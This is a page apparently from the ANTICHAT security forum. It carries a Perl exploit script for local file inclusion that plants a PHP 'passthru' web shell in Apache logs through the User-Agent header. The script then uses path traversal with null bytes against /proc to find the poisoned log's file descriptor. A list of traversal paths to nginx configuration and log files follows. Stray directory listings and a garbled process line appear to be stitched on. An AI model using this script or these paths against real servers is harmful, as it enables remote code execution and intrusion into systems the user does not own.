ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#! /usr/bin/perl

# perl script to serach apache logs path
# Example: 
#   URL: http://site/index.php
#   Variable: file
#   Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
   print "\tex: perl $0 http://site.com/index.php file GET\n";
   print "\tex: perl $0 http://site.com/index.php file POST\n\n";
   exit 1;
}

$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/stat%00";
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
}
else {
  $req = HTTP::Request->new(POST => $host);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($var."=../../../../proc/self/stat%00");
}

$res = $ua->request($req);

if ($res->is_success) { 
  $result = $res->content;
  $result =~ s/<[^>]*>//g;
  $x = index($result, " ", 0);
  $pid = substr($result, 0, $x);

  print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/status%00";
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
}
else {
  $req = HTTP::Request->new(POST => $host);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($var."=../../../../proc/self/status%00");
}

$res = $ua->request($req);

if ($res->is_success) { 
  $result = $res->content;
  $result =~ s/<[^>]*>//g;
  $x = index($result, "FDSize",0)+8;
  $fdsize = substr($result, $x, 3);

  print "FD_SIZE: ".$fdsize."\n";
}

for ($cont = 0; $cont < $fdsize; $cont++) {
  $file = "../../../../proc/".$pid."/fd/".$cont;
  open FILE, $file;

  while(<FILE>) {
    if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
      print "FD: ".$cont."\n";
      exit;
    }
  }
}

AUTHORS    configure  doc        include    plugins      src
ChangeLog  contrib    functions  index.php  po            themes
class      COPYING    help      INSTALL    README        UPGRADE
config    data      images    locale    ReleaseNotes

attach  data

apache.conf        config_local.php  default_pref      index.php
config_default.php  config.php        filters_setup.php  sqspell_config.php

/usr/sbin/apache2�-k�start�

../../../../../../etc/nginx/srv.d/*.conf
../../../../../../etc/nginx/nginx.conf
../../../../../../usr/local/etc/nginx/nginx.conf
../../../../../../usr/local/nginx/conf/nginx.conf

../../../../../../var/log/nginx/access_log
../../../../../../var/log/nginx/error_log
../../../../../../var/log/nginx/access.log
../../../../../../var/log/nginx/error.log
../../../../../../var/log/nginx.access_log
../../../../../../var/log/nginx.error_log

../../../../../../logs/access_log
../../../../../../logs/error_log
../../../../../../logs/access.log
../../../../../../logs/error.log

../../../../../../var/www/<domain.com>/log/nginx.access.log
../../../../../../var/www/<domain.com>/log/nginx.error.log
../../../../../../var/www/<domain.com>/log/nginx.access_log
../../../../../../var/www/<domain.com>/log/nginx.error_log

../../../../../../var/log/nginx/<domain.com>.access.log
../../../../../../var/log/nginx/<domain.com>.error.log
../../../../../../var/log/nginx/<domain.com>_access.log
../../../../../../var/log/nginx/<domain.com>_error.log